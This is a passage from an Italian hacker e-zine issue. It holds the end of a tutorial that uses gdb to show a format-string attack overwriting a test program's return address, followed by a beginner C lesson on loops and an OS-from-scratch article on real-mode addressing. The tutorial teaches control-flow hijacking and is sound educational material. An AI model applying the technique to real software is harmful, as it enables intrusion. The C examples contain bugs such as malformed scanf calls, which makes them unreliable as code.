| 0x804852e <main+66>: mov %eax,%eax |
| 0x8048530 <main+68>: shl $0x3,%eax |
| 0x8048533 <main+71>: lea 0x7(%eax),%edx |
| 0x8048536 <main+74>: lea 0xffffeff8(%ebp),%eax |
| 0x804853c <main+80>: mov %eax,%eax |
| 0x804853e <main+82>: movb $0xbf,(%edx,%eax,1) |
| 0x8048542 <main+86>: mov 0xffffeff4(%ebp),%eax |
| 0x8048548 <main+92>: mov %eax,%eax |
| 0x804854a <main+94>: shl $0x3,%eax |
| 0x804854d <main+97>: lea 0x6(%eax),%edx |
| 0x8048550 <main+100>: lea 0xffffeff8(%ebp),%eax |
| 0x8048556 <main+106>: mov %eax,%eax |
| 0x8048558 <main+108>: movb $0xff,(%edx,%eax,1) |
| 0x804855c <main+112>: mov 0xffffeff4(%ebp),%eax |
| 0x8048562 <main+118>: mov %eax,%eax |
| 0x8048564 <main+120>: shl $0x3,%eax |
| 0x8048567 <main+123>: lea 0x5(%eax),%edx |
| 0x804856a <main+126>: lea 0xffffeff8(%ebp),%eax |
| 0x8048570 <main+132>: mov %eax,%eax |
| 0x8048572 <main+134>: movb $0xea,(%edx,%eax,1) |
| 0x8048576 <main+138>: mov 0xffffeff4(%ebp),%eax |
| 0x804857c <main+144>: mov %eax,%eax |
| 0x804857e <main+146>: shl $0x3,%eax |
| 0x8048581 <main+149>: lea 0x4(%eax),%ecx |
| 0x8048584 <main+152>: lea 0xffffeff8(%ebp),%eax |
| 0x804858a <main+158>: mov %eax,%edx |
| 0x804858c <main+160>: mov 0xffffeff4(%ebp),%al |
| 0x8048592 <main+166>: add $0x3c,%eax |
| 0x8048595 <main+169>: mov %al,(%ecx,%edx,1) |
| 0x8048598 <main+172>: mov 0xffffeff4(%ebp),%eax |
| 0x804859e <main+178>: mov %eax,%eax |
| 0x80485a0 <main+180>: shl $0x3,%eax |
| 0x80485a3 <main+183>: lea 0x3(%eax),%edx |
| 0x80485a6 <main+186>: lea 0xffffeff8(%ebp),%eax |
| 0x80485ac <main+192>: mov %eax,%eax |
| 0x80485ae <main+194>: movb $0xbf,(%edx,%eax,1) |
| 0x80485b2 <main+198>: mov 0xffffeff4(%ebp),%eax |
| 0x80485b8 <main+204>: mov %eax,%eax |
| 0x80485ba <main+206>: shl $0x3,%eax |
| 0x80485bd <main+209>: lea 0x2(%eax),%edx |
| 0x80485c0 <main+212>: lea 0xffffeff8(%ebp),%eax |
| 0x80485c6 <main+218>: mov %eax,%eax |
| 0x80485c8 <main+220>: movb $0xff,(%edx,%eax,1) |
| 0x80485cc <main+224>: mov 0xffffeff4(%ebp),%eax |
| 0x80485d2 <main+230>: mov %eax,%eax |
| 0x80485d4 <main+232>: shl $0x3,%eax |
| 0x80485d7 <main+235>: lea 0x1(%eax),%edx |
| 0x80485da <main+238>: lea 0xffffeff8(%ebp),%eax |
| 0x80485e0 <main+244>: mov %eax,%eax |
| 0x80485e2 <main+246>: movb $0xea,(%edx,%eax,1) |
| 0x80485e6 <main+250>: mov 0xffffeff4(%ebp),%eax |
| 0x80485ec <main+256>: mov %eax,%eax |
| 0x80485ee <main+258>: lea 0x0(,%eax,8),%ecx |
| 0x80485f5 <main+265>: lea 0xffffeff8(%ebp),%eax |
| 0x80485fb <main+271>: mov %eax,%edx |
| 0x80485fd <main+273>: mov 0xffffeff4(%ebp),%al |
| 0x8048603 <main+279>: add $0x3c,%eax |
| 0x8048606 <main+282>: mov %al,(%ecx,%edx,1) |
| 0x8048609 <main+285>: lea 0xffffeff4(%ebp),%eax |
| 0x804860f <main+291>: incl (%eax) |
| 0x8048611 <main+293>: jmp 0x8048518 <main+44> |
| 0x8048616 <main+298>: mov %esi,%esi |
| 0x8048618 <main+300>: movl $0x1,0xffffeff4(%ebp) |
| 0x8048622 <main+310>: mov %esi,%esi |
| 0x8048624 <main+312>: cmpl $0x7,0xffffeff4(%ebp) |
| 0x804862b <main+319>: jle 0x8048700 <main+532> |
| 0x8048631 <main+325>: sub $0x8,%esp |
| 0x8048634 <main+328>: push $0x8048798 |
| 0x8048639 <main+333>: lea 0xffffeff8(%ebp),%eax |
| 0x804863f <main+339>: push %eax |
| 0x8048640 <main+340>: call 0x80483c0 <strcat> |
| 0x8048645 <main+345>: add $0x10,%esp |
| 0x8048648 <main+348>: sub $0x8,%esp |
| 0x804864b <main+351>: push $0x80487a0 |
| 0x8048650 <main+356>: lea 0xffffeff8(%ebp),%eax |
| 0x8048656 <main+362>: push %eax |
| 0x8048657 <main+363>: call 0x80483c0 <strcat> |
| 0x804865c <main+368>: add $0x10,%esp |
| 0x804865f <main+371>: sub $0x8,%esp |
| 0x8048662 <main+374>: push $0x80487a8 |
| 0x8048667 <main+379>: lea 0xffffeff8(%ebp),%eax |
| 0x804866d <main+385>: push %eax |
| 0x804866e <main+386>: call 0x80483c0 <strcat> |
| 0x8048673 <main+391>: add $0x10,%esp |
| 0x8048676 <main+394>: sub $0x8,%esp |
| 0x8048679 <main+397>: push $0x80487b0 |
| 0x804867e <main+402>: lea 0xffffeff8(%ebp),%eax |
| 0x8048684 <main+408>: push %eax |
| 0x8048685 <main+409>: call 0x80483c0 <strcat> |
| 0x804868a <main+414>: add $0x10,%esp |
| 0x804868d <main+417>: sub $0x8,%esp |
| 0x8048690 <main+420>: push $0x80487b8 |
| 0x8048695 <main+425>: lea 0xffffeff8(%ebp),%eax |
| 0x804869b <main+431>: push %eax |
| 0x804869c <main+432>: call 0x80483c0 <strcat> |
| 0x80486a1 <main+437>: add $0x10,%esp |
| 0x80486a4 <main+440>: movl $0x0,0xffffeff4(%ebp) |
| |
| |
| >>> ecco la chiamata alla printf, passando il nostro buffer come |
| argomento |
| |
| 0x80486ae <main+450>: sub $0xc,%esp |
| 0x80486b1 <main+453>: lea 0xffffeff8(%ebp),%eax |
| 0x80486b7 <main+459>: push %eax |
| 0x80486b8 <main+460>: call 0x80483d0 <printf> |
| 0x80486bd <main+465>: add $0x10,%esp |
| |
| |
| >>> ecco l'istruzione i = 1; |
| |
| 0x80486c0 <main+468>: movl $0x1,0xffffeff4(%ebp) |
| |
| |
| >>> questa invece e' la chiamata alla seconda printf |
| |
| 0x80486ca <main+478>: sub $0xc,%esp |
| 0x80486cd <main+481>: push $0x80487ba |
| 0x80486d2 <main+486>: call 0x80483d0 <printf> |
| 0x80486d7 <main+491>: add $0x10,%esp |
| |
| |
| >>> terza chiamata alla printf, con scrittura del valore della |
| variabile i |
| |
| 0x80486da <main+494>: sub $0x8,%esp |
| 0x80486dd <main+497>: pushl 0xffffeff4(%ebp) |
| 0x80486e3 <main+503>: push $0x80487d5 |
| 0x80486e8 <main+508>: call 0x80483d0 <printf> |
| 0x80486ed <main+513>: add $0x10,%esp |
| |
| |
| >>> chiamata alla funzione exit e termine del programma |
| |
| 0x80486f0 <main+516>: sub $0xc,%esp |
| 0x80486f3 <main+519>: push $0x123 |
| 0x80486f8 <main+524>: call 0x8048400 <exit> |
| 0x80486fd <main+529>: lea 0x0(%esi),%esi |
| 0x8048700 <main+532>: sub $0x8,%esp |
| 0x8048703 <main+535>: push $0x8048794 |
| 0x8048708 <main+540>: lea 0xffffeff8(%ebp),%eax |
| 0x804870e <main+546>: push %eax |
| 0x804870f <main+547>: call 0x80483c0 <strcat> |
| 0x8048714 <main+552>: add $0x10,%esp |
| 0x8048717 <main+555>: lea 0xffffeff4(%ebp),%eax |
| 0x804871d <main+561>: incl (%eax) |
| 0x804871f <main+563>: jmp 0x8048624 <main+312> |
| End of assembler dump. |
| |
| |
| bene, adesso, lasciando a voi come semplice esercizio aritmetico il |
| capire perche' sono stati effettivamente usati certi valori nei |
| formattatori di output, andiamo a vedere, subito dopo l'esecuzione della |
| printf, come cambia il contenuto dello stack |
| |
| |
| (gdb) n |
| 31 in printf.c |
| (gdb) n |
| <êÿ¿<êÿ¿=êÿ¿=êÿ¿>êÿ¿>êÿ¿?êÿ¿?êÿ¿80487b8 |
| 7e3 |
| 6c4 |
| 1e7 |
| 7f5 |
| 6ea |
| 0 |
| |
| bfffea3c |
| |
| |
| bfffea3d |
| bfffea3e |
| |
| |
| |
| |
| bfffea3f |
| 35 in printf.c |
| (gdb) x/20 $sp |
| 0xbfffea20: 0x40141840 0xbfffea60 0xbfffea80 0x080487b8 |
| 0xbfffea30: 0x40080d64 0x40143824 0xbffffa68 0x080486d7 |
| 0xbfffea40: 0xbf000003 0x080487b8 0x000007e3 0x000006c4 |
| 0xbfffea50: 0x000001e7 0x000007f5 0x000006ea 0x00000000 |
| 0xbfffea60: 0xbfffea3c 0xbfffea3c 0xbfffea3d 0xbfffea3d |
| |
| |
| ATTENZIONE!!!! L'indirizzo di ritorno e' cambiato! il nuovo indirizzo di |
| ritorno e' 0x080486d7, che corrisponde (che combinazione, vero? ;) |
| all'indirizzo della istruzione immediatamente successiva alla SECONDA |
| chiamata della printf. In definitiva, l'effetto ottenuto sara' quello di |
| ritornare ad eseguire il main a partire dalla seconda printf ESCLUSA, |
| saltando quindi sia la scrittura della stringa "seconda parte; eccoci |
| qui" sia anche l'istruzione i = 1; la variabile i, pertanto, manterra' |
| IL SUO VALORE PRECEDENTE, CIOE' ZERO! |
| |
| Per verificarlo, innanzitutto cancelliamo il breakpoint alla istruzione |
| printf in modo tale da permettere al task di non venire piu' interrotto |
| e poi facciamolo proseguire. |
| |
| |
| (gdb) delete 1 |
| (gdb) c |
| Continuing. |
| terza parte; i vale 0 |
| |
| Program exited with code 043. |
| |
| |
| NATURALMENTE!!! Ecco dimostrato quello che avevamo ipotizzato avrebbe |
| dovuto accadere. |
| |
| (gdb) q |
| # |
| |
| A questo punto possiamo a buon titolo sostenere che siamo in grado, |
| modulando opportunamente i valori all'interno di un buffer da passare |
| alla "innocente" |
| funzione printf, di far saltare l'esecuzione di un task all'indirizzo |
| che piu' |
| ci fa comodo, in qualunque punto esso sia. Una simile potenzialita' puo' |
| essere utilizzata non soltanto per i nostri "giochetti" ma anche per |
| cose ben piu' "serie" e pericolose... |
| |
| Nella prossima puntata vedremo l'efficacia di questo approccio, |
| inserendo del codice "malizioso" e facendolo eseguire al nostro ignaro |
| "ospitante"... in modo tale da capire in modo completo il principio di |
| funzionamento di buona parte dei programmi da "assalto" in |
| circolazione... |
| |
| |
| Ma prima di lasciarci ecco, per chi sia interessato, un simpatico |
| quesito: |
| |
| abbiamo appena visto il funzionamento del programma prova6 il quale, |
| lanciato in esecuzione, salta allegramente la seconda printf e nella |
| terza sostiene che la variabile vale 0 (poiche' non ha nemmeno eseguito |
| l'istruzione i = 1;). |
| |
| Tutto bene, quindi, ma... allora come si spiega questo comportamento? |
| |
| |
| # |
| # ./prova6 |
| <êÿ¿<êÿ¿=êÿ¿=êÿ¿>êÿ¿>êÿ¿?êÿ¿?êÿ¿80487b8 |
| 7e3 |
| 6c4 |
| 1e7 |
| 7f5 |
| 6ea |
| 0 |
| |
| |
| bfffea3c |
| |
| |
| |
| |
| bfffea3d |
| |
| bfffea3e |
| |
| |
| |
| |
| |
| |
| |
| bfffea3f |
| seconda parte; eccoci qui |
| terza parte; i vale 1 |
| # |
| # |
| |
| Naturalmente vi garantisco che il file eseguibile denominato "prova6" |
| non e' |
| cambiato... :) |
| |
| A chi provera' a dare una soluzione andra' il merito di avere |
| effettivamente capito come funzionano le cose... |
| |
| |
| a presto, |
| xyzzy |
| |
+--------------------------------------------------------------------------+
+--------------------------------------------------------------------------+
| ONDAQUADRA ~ [C0DiNG] #05 - 14/01/2002 |
| C0RS0 Di C [PARTE QUARTA] [JEYoNE] 0x0F/0x23 |
+--------------------------------------------------------------------------+
| |
| RiASSUNT0 DELLA PUNTATA PRECEDENTE: |
| La volta scorsa abbiamo spiegato come è strutturato il costrutto IF, |
| il suo ramo opzionale ELSE ed il costrutto SWITCH. |
| Questa volta, come gia' avevo accennato la volta scorsa, andremo a |
| vedere come creare un programma simile a quello della volta scorsa |
| (quello che abbiamo visto per spiegare il costrutto switch, ricordate?) |
| con la differenza che ripropone la lista degli autori fino a quando non |
| saremo noi a dirgli di uscire. |
| Cominciamo a vedere questo, poi andremo a dare un'occhiata anche agli |
| altri due argomenti, il "while" e il "do-while". |
| Allora: |
| Come ricorderete il costrutto switch da la possibilita' di |
| scegliere tra diverse opzioni, abbiamo visto che il programma creato la |
| volta scorsa, se la selezione non era tra quelle indicate, usciva di |
| default. |
| Questo perche' non abbiamo usato il loop for INFINITO. |
| Mi spiego meglio, il loop for infinito non termina mai, a meno che gli |
| si dia l'istruzione break (abbiamo visto anche quella, ricordate?) |
| Ma andiamo avanti seguendo un criterio logico, e vediamo intanto |
| come si esegue un loop for infinito: |
| for(;;) printf("questo verra' stampato all'infinito\n"); |
| Non avendo indicato le condizioni di uscita,il for continua a stampare |
| |
| all'infinito l'istruzione printf, perche' la condizione e' sempre vera. |
| Gli unici due modi per terminare il loop sono: |
| 1) Spegnere il computer |
| 2) Inserire l'istruzione break |
| Vediamo come utilizzare al meglio il secondo modo,anche perche' |
| il primo risulterebbe un pochino scomodo: |
| for(;;) |
| { |
| scanf("%d", &jey); |
| if (jey==0) break; /* se jey vale 0 esce dal loop */ |
| } |
| In questo caso il blocco di istruzioni si ripete sempre all'infinito, |
| a meno che la variabile jey non abbia valore uguale a 0. |
| Capito questo dobbiamo andare a vedere come inserire il blocco dello |
| switch all'interno del for: |
| for(;;) |
| { |
| scanf("%d", jey); |
| switch(jey) /*usiamo jey per fare i confronti */ |
| { |
| case 1: |
| printf("\nHai scelto l'opzione numero 1"); |
| break; |
| case 2: |
| printf("\nHai scelto l'opzione numero 2"); |
| break; |
| } |
| if (jey==0) break; /*se jey vale 0 esce dal loop */ |
| } |
| Le cose messe giu' in questa maniera possono sembrare complicate, ma |
| l'importante e' mantenere le gerarchie dei blocchi del programma. |
| (le parentesi graffe aperte e chiuse in ogni blocco) |
| Vediamo ora il programma vero e proprio per eseguire una scelta come |
| quella della volta scorsa, con pero' la possibilita' di uscire soltanto |
| dando alla variabile lista il valore di 0 : |
| #include <stdio.h> |
| main() |
| { |
| int lista; |
| for(;;) /*questo e' il loop infinito, interrotto dal break*/ |
| { |
| printf("\nScegli un gruppo per sapere che musica suona:\n"); |
| printf(" 1) Cypress Hill \n"); |
| printf(" 2) Elio e le storie tese \n"); |
| printf(" 3) 883 \n"); |
| printf(" 4) Pitura Freska \n"); |
| printf(" 0) Esci, non me ne frega niente della musica!!\n"); |
| scanf("d%", &lista); /*prendiamo il valore della variabile |
| |
| lista*/ |
| switch(lista) /*e facciamone il confronto*/ |
| { |
| case 1: |
| printf("I Cypress Hill suonano RAP\n"); |
| break; |
| case 2: |
| printf("Elio e le storie tese suonano rock |
| |
| demenziale"); |
| break; |
| case 3: |
| printf("Gli 883 suonano? E ti sembra musica quella?"); |
| break; |
| case 4: |
| printf("I Pitura Freska suonano reggae/ska"); |
| break; |
| case 0: |
| printf("\n Non ti interessa la musica? Beh, ciao!"); |
| default: |
| printf("Ma non leggi il menu'? Niente e' associato |
| a quel numero!"); |
| } /* Qui termina il costrutto switch */ |
| if (lista==0) break; /* Quando lista vale 0 esce dal loop */ |
| } /* Qui termina il loop for */ |
| } /* E qui invece termina la funzione main() */ |
| E questo e' finito, facile no? |
| Bene, ora andiamo a vedere un'altra istruzione, sto parlando del while, |
| un'istruzione analoga al for perche' anch'essa serve per fare loop. |
| While in inglese significa "quando", questo significa che fino a |
| quando la condizione e' vera l'istruzione viene eseguita. |
| Vediamone la struttura con una sola istruzione: |
| while(jey <3 ) printf("JEYoNE e' bello :) "); |
| O con un blocco di istruzioni: |
| int jey=1; |
| while(jey <3) |
| { |
| printf("JEYoNE e' bello :) "); |
| jey++ /* aumentiamo il valore di jey di |
| 1 */ |
| } |
| Come avrete potuto notare, il while e' molto simile al for, ma e' un po' |
| piu complicato, in effetti per un loop e' meglio usare il for, ma il |
| while puo' essere utile in altri casi. |
| Per ora proviamo a usare il loop while per lo stesso programma che |
| abbiamo fatto prima. |
| Ricordiamoci di dare alla variabile lista un valore diverso da zero, |
| (lista=!0)per evitare di uscire senza eseguire il programma nemmeno una |
| volta. |
| #include <stdio.h> |
| main() |
| { |
| int lista=1; |
| while(lista!=0) /*Quando la variabile e' uguale a zero termina*/ |
| { |
| printf("\nScegli un gruppo per sapere che musica suona:\n"); |
| printf(" 1) Cypress Hill \n"); |
| printf(" 2) Elio e le storie tese \n"); |
| printf(" 3) 883 \n"); |
| printf(" 4) Pitura Freska \n"); |
| printf(" 0) Esci, non me ne frega niente della musica!!\n"); |
| scanf("d%", &lista); /*prendiamo il valore della variabile |
| |
| lista*/ |
| switch(lista) /*e facciamone il confronto*/ |
| { |
| case 1: |
| printf("I Cypress Hill suonano RAP\n"); |
| break; |
| case 2: |
| printf("Elio e le storie tese suonano rock |
| |
| demenziale"); |
| break; |
| case 3: |
| printf("Gli 883 suonano? E ti sembra musica quella?"); |
| break; |
| case 4: |
| printf("I Pitura Freska suonano reggae/ska"); |
| break; |
| case 0: |
| printf("\n Non ti interessa la musica? Beh, ciao!"); |
| default: |
| printf("Ma non leggi il menu'? Niente e' associato |
| a quel numero!"); |
| } /* Qui termina il costrutto switch */ |
| } /* Qui termina il loop while */ |
| } /* E qui invece termina la funzione main() */ |
| Come abbiamo visto anche per il for, possiamo fare un loop infinito |
| anche con il while, a condizione che la condizione sia diversa da 0. |
| L'u
nico modo per interrompere il loop, anche in questo caso, e' l'uso |
| del break. |
| Come abbiamo potuto vedere,sia il loop for che il loop while verificano |
| la condizione prima di fare tutto, facendo si che le istruzioni non |
| vengano eseguite se la condizione risultasse falsa. |
| Per fare in modo che le condizioni siano eseguite almeno una volta, |
| prima di interrompere, ci viene in aiuto il do, che la esegue prima di |
| far eseguire il controllo della condizione al loop. |
| Il do e' strutturato nel seguente modo: |
| do |
| { |
| istruzioni; |
| } |
| while(espressione); |
| Qui noi andiamo PRIMA ad eseguire le istruzioni, e POI controlliamo che |
| la condizione sia vera e ripetiamo le istruzioni. |
| Se la condizione e' falsa interrompiamo tutto. |
| Il loop do-while funziona cosi': |
| int jey=1; |
| do |
| { |
| printf("JEYoNE e' bello :) "); |
| jey++; |
| } |
| while(jey<5); |
| Questo loop stampa 4 volte la scritta JEYoNE e' bello :). |
| Ora vediamo come integrarlo nel nostro programmino, infatti serve il do |
| per stampare almeno una volta la lista delle scelte da fare, altrimenti |
| con che criterio eseguiamo la scelta del gruppo? :P |
| #include <stdio.h> |
| main() |
| { |
| int lista=1; |
| do /*Qui comincia il loop do-while*/ |
| { |
| printf("\nScegli un gruppo per sapere che musica suona:\n"); |
| printf(" 1) Cypress Hill \n"); |
| printf(" 2) Elio e le storie tese \n"); |
| printf(" 3) 883 \n"); |
| printf(" 4) Pitura Freska \n"); |
| printf(" 0) Esci, non me ne frega niente della musica!!\n"); |
| scanf("d%", &lista); /*prendiamo il valore della variabile |
| |
| lista*/ |
| switch(lista) /*e facciamone il confronto*/ |
| { |
| case 1: |
| printf("I Cypress Hill suonano RAP\n"); |
| break; |
| case 2: |
| printf("Elio e le storie tese suonano rock |
| |
| demenziale"); |
| break; |
| case 3: |
| printf("Gli 883 suonano? E ti sembra musica quella?"); |
| break; |
| case 4: |
| printf("I Pitura Freska suonano reggae/ska"); |
| break; |
| case 0: |
| printf("\n Non ti interessa la musica? Beh, ciao!"); |
| default: |
| printf("Ma non leggi il menu'? Niente e' associato |
| a quel numero!"); |
| } /* Qui termina il costrutto switch */ |
| } /* Qui termina il blocco do-while che viene */ |
| while(lista!=0); /* eseguito di nuovo se il valore e' diverso da 0*/ |
| } /* E qui invece termina la funzione main() */ |
| In certi casi sta meglio il while del for, in molti altri pero sta |
| meglio il do-while del while. |
| Si poteva fare tutto semplicemente con il loop for, ma rimaneva meno |
| "elegante". |
| Io vi ho illustrato tutti e tre i costrutti, deciderete voi quale |
| utilizzare per risparmiare tempo/lavoro. |
| Per questa volta ho finito, nel prossimo numero non so se sara' |
| presente il corso, perche' ultimamente sono molto molto impegnato. |
| Voi restate sintonizzati, e.... |
| ...al massimo leggete qualche altro articolo! :P |
| Ciao a tutti, speriamo di vederci nel prossimo numero! |
| JEYoNE |
| |
+--------------------------------------------------------------------------+
+--------------------------------------------------------------------------+
| ONDAQUADRA ~ [C0DiNG] #05 - 14/01/2002 |
| 0S FR0M ZER0 CHAPTER 2 [Alexander The Great] 0x10/0x23 |
+--------------------------------------------------------------------------+
| |
| Salve! Scorcio i convenevoli e passo al sodo. Bisogna che innanzitutto |
| mi scusi per aver rivisto poco il primo capitolo. Nel bootstrap c'era un |
| piccolo errore (non grave), in corrispondenza della seguente sezione: |
| |
| CMP BYTE PTR SS:[449h], 3 ; 0:449h = modalita' video |
| JNE SiamoGiaInModoTesto ; (se 0:449h contiene 3) |
| |
| In realta', siccome JNE sta per "Jump if Not Equal", il salto viene |
| effettuato se la locazione 0:449h NON contiene il valore 3. |
| La versione corretta sarebbe stata questa: |
| |
| CMP BYTE PTR SS:[449h], 3 ; 0:449h = modalita' video |
| JE SiamoGiaInModoTesto ; (se 0:449h contiene 3) |
| |
| E allora? Cosa comporta per il risultato finale? Assolutamente niente. |
| Solo un piccolo sforzo inutile da parte della scheda video, volto ad |
| impostare un modalita' video che probabilmente e' gia' impostata al |
| momento del boot. La locazione 0:449h, anche scrivibile come 40h:49h, |
| infatti, contiene il codice OEM della modalita' video corrente. Ci sono |
| modalita' testuali e grafiche. Alcuni codici sono standard, altri no. |
| Tra quelli standard, la modalita' numero 3 e' quella che normalmente usa |
| il BIOS al momento del boot, e che poi il prompt del DOS eredita. Si |
| tratta della comunissima modalita' testo a 16 colori con 80 colonne e 25 |
| righe. Insomma, visto? M'e' riuscito di far passare l'errore come una |
| sorta di "domanda a trabocchetto"... peccato che fosse del tutto |
| involontario. |
| Poi devo fare le mie scuse anche per un'altra questione: avevo promesso |
| che avrei presentato un piccolo KERNEL in questo capitolo, ma mi sono |
| accorto che sarebbe piuttosto inutile se prima non spiegassi su quali |
| principi poggiano la CPU e le sue periferiche a basso livello. |
| Ho deciso quindi di rimandare tale esperimento, in favore di una piccola |
| ma esauriente panoramica sull'argomento "cosa c'e' dietro alle varie |
| operazioni che un S.O. svolge di continuo"... "l'avventura" sara' |
| comunque lunga, ma vi garantisco che se continuate a seguire questa |
| serie di articoli, alla fine rimarranno ben pochi misteri all'interno |
| del PC. |
| |
| Un ultimo chiarimento prima di cominciare con una fiumana di |
| informazioni, per coloro che mi hanno chiesto da dove abbia preso |
| l'ispirazione. Be', la risposta e': in nessun posto. Le ho studiate nel |
| corso di svariati anni in cui ho analizzato (hackato, sminuzzato, |
| polverizzato) l'architettura dei PC passati e presenti. Quello che |
| scrivo in questi capitoli non segue dei testi di riferimento: che ci |
| crediate o no, a parte alcune tabelle, butto tutto giu' a memoria. |
| |
| Mah... |
| gia' che ci sono, colgo egoisticamente l'occasione per scrivere un breve |
| "background storico". Programmo in assembly dai tempi del Commodore 64, |
| di cui ricordo ancora gran parte della mappa della memoria (mai provato |
| a cambiare il colore dello sfondo dello schermo del C64 con una POKE |
| sulle locazioni 53280 e 53281?...), e conosco i PC dal 1988. Ho una sola |
| lacuna: informazioni sui protocolli di rete, quindi per queste cose |
| leggetevi il resto della rivista. Ammetto che, in effetti, sulla |
| "questione reti" sono "rimasto indietro", ed anche adesso non ho molta |
| voglia di occuparmente... |
| ammiro la rete per quello che e', ma non so come funziona ne', |
| stranamente, m'interessa saperlo. Probabilmente la considero, dal mio |
| punto di vista d'inguaribile retrogrado, "un accessorio non standard" in |
| cui si delineano troppe verita' temporanee e nessuna certezza. Forse e' |
| perche' inconsciamente collego la rete a Windows: dai tempi di Windows |
| mi sono volontariamente disinteressato a qualsiasi aspetto ad esso |
| strettamente collegato. Ma no, aspettate, mi sto sbagliando: non e' che |
| sia collegata a Windows, perche' in fin dei conti non lo e'... e' che |
| "non e' collegabile al DOS"... o meglio, mi sbaglio ancora, "non e' |
| stata collegata al DOS". Il DOS e' stato il mio territorio per molti |
| anni: piu' che una questione di vantaggi e svantaggi, quello che mi lega |
| all'ambiente DOS e' l'affetto. Oggi e' un sentimento un po' difficile da |
| capire, perche' sono relativamente pochissimi gli utenti che sono "nati |
| usando il DOS". E` naturale per tutti migrare verso sistemi multitasking |
| con interfacce a finestre molto piu' intuitive del vecchio prompt. Per |
| tutti, meno che per me. E pochi altri "vecchi guru". Premetto che ho un |
| personale odio verso il multitasking, in quanto causa di inutili |
| complicazioni, per come lo vedo io. Nonche' verso le finestre: |
| quest'ultimo e' un risentimento che ha dietro di se' una storiella |
| divertente, ma per non dilungarmi troppo parlando di me stesso, ve la |
| raccontero un'altra volta. |
| |
| Per coloro che considerano inevitabile il fatto che prima o poi dovro |
| adeguarmi, mi limito a dire che i miei sforzi attuali sono volti non ad |
| adeguare me stesso ai sistemi attuali, ma ad adeguare I SISTEMI ATTUALI |
| a me stesso. Vedete, anche se so come farlo, e malgrado la mia antipatia |
| nei confronti di Windows, io non cerco un nuovo sistema operativo. Io |
| non sono che un programmatore, e tutto quello che cerco e' il mio |
| ambiente di programmazione perfetto. Dopo circa sei anni dall'arrivo di |
| Windows95, la mia personale nemesi, la "catastrofe naturale" che ha |
| spazzato via il mio mondo, ho trovato la soluzione: ho distaccato il mio |
| ambiente dal sistema, l'ho "isolato", astratto nella maniera piu' |
| totale, creando uno stranissimo oggetto che in seguito ho rifinito e |
| chiamato L.IN.O.L.E.U.M. Insieme ad esso, sto piacevolmente rivivendo i |
| momenti in cui la gente capiva davvero come funzionavano le cose, in cui |
| i principianti erano fieri di quel che riuscivano a fare. E cosa piu' |
| importante, mi sento di nuovo a casa, libero d'ignorare e sputare in |
| faccia a quel maelstrom di finestrelle, iconcine e multitasking che |
| circonda la mia isola di semplice perfezione, sicuro che i programmi che |
| scrivo adesso gireranno per sempre, in barba a chiunque ami rimescolare |
| periodicamente le carte nel tentativo di rivendere la stessa vecchia |
| zuppa un'altra volta. Per molti di voi potra' essere un cumulo di |
| stupidaggini, quel che ho detto, ma a me non importa come viene |
| giudicato: a me interessa soltanto che sia un punto di riferimento |
| indistruttibile. E lo e'. Una sola cosa e' una realta' oggettiva, non |
| opinabile: mentre il DOS, Windows, Linux, BeOS, MacOS, AmigaOS... sono |
| tutti oggetti concreti che nascono e muoiono, L.IN.O.L.E.U.M. e' "un |
| fantasma", e come tale e' eterno. |
| |
| Be', devo dire che era necessario: non avreste capito molti aspetti dei |
| miei commenti, se non avessi scritto questa mia "biografia |
| monotematica", forse non avreste capito con che razza di individuo avete |
| a che fare ;) |
| |
| E ora che mi sento meglio, "confessato" direi; ora che mi conoscete |
| meglio, iniziamo finalmente la panoramica sulla struttura di un PC a |
| basso livello, che ci servira' per capire come funziona il KERNEL di un |
| sistema operativo. |
| |
| Ora, non e' mia intenzione scrivere tutto un intero tutorial |
| sull'assembly e sul funzionamento del PC in modalita' reale, perche' non |
| mi rimarrebbe il tempo di parlare dell'argomento vero e proprio, pero |
| almeno questo forse e' meglio spiegarlo: come funzionano gli indirizzi |
| di memoria in modalita' |
| reale. Premesso che tale modalita' fa schifo ed e' praticamente obsoleta |
| da almeno una decina d'anni a questa parte, e' tuttavia necessario |
| sapercisi orientare perche' i nostri beneamati processori di sesta |
| generazione, vedi per esempio il mio caro Athlon a 1GHz, ancora oggi |
| avviano il sistema in modalita' reale. E anche se fa schifo, non |
| disprezzatela: e' stata mantenuta per ragioni di compatibilita' con i |
| primi S.O. come il DOS ed il CP/M, che altrimenti non sarebbero in grado |
| di avviare la macchina se questa venisse fatta partire dal BIOS |
| direttamente in una delle varie modalita' a 32 bit. |
| Poi se me lo ricordero, spieghero anche cosa intendo per "varie |
| modalita'". |
| Ma veniamo agli indirizzi in modalita' reale. |
| Conviene sempre scrivere gli indirizzi in esadecimale. Molti si chiedono |
| perche', dato che a prima vista sembra un'inutile complicazione. E' |
| chiaro che non lo e', perche' solo alcuni sistemisti di cui non faccio i |
| nomi amano complicare le cose per il solo gusto di complicarle. Noi |
| siamo abituati a scrivere i numeri in base dieci, usando le cifre arabe |
| da zero a nove. |
| Be', l'esadecimale e' un modo per scrivere numeri in base sedici, e' un |
| po' come contare su sedici dita. E in esadecimale, esistono anche cifre |
| il cui valore nominale e' superiore a nove, un po' come nelle 52 carte |
| da poker abbiamo i valori 1 (asso), carte dal 2 al 10, e poi le figure |
| J, Q e K i cui rispettivi valori di scala sono "immaginabili" come 11, |
| 12 e 13. |
| In esadecimale le "cifre" superiori al 9 sono A, B, C, D, E ed F. |
| |
| Contare in esadecimale e' molto piu' semplice di quanto sembri: 0, 1, 2, |
| 3, 4, 5, 6, 7, 8, 9, A, B, C, D, E, F, 10, 11, 12, 13, 14, 15, 16, 17, |
| 18, 19, 1A, 1B, 1C, 1D, 1E, 1F, 20, 21 eccetera... |
| |
| Da precisare che i numeri esadecimali scritti come 11, 12, 13, 14... NON |
| si leggono come "undici", "dodici" eccetera... ma bensi come "uno-uno", |
| "uno-due", "uno-tre"... questo perche' NON stiamo parlando di "decine", |
| di "centinaia" e di "migliaia". Infatti, se le unita' sono sempre le |
| unita', le decine qui si potrebbero chiamare "sedicine", e le centinaia |
| diventano "sedicine di sedicine" ovvero "duecentocinquantaseiine". Ma |
| ovviamente nessuno di questi termini viene usato: sono parole che non |
| esistono nel nostro vocabolario; le ho chiamate cosi per cercare di |
| rendere l'idea. |
| |
| Ora, quando io scrivo 449h, la piccola "h" che metto in fondo serve a |
| far capire al lettore che si tratta di un numero esadecimale. In C e |
| C++, naturalmente, qualche imbecille si e' inventato un nuovo modo per |
| indicare numeri esadecimali, e nella fattispecie si e' inventato il |
| prefisso "0x", cioe' zero-x. Questo perche' probabilmente i compilatori |
| si confonderebbero nel trovare una "h" in fondo a un numero, ma ormai la |
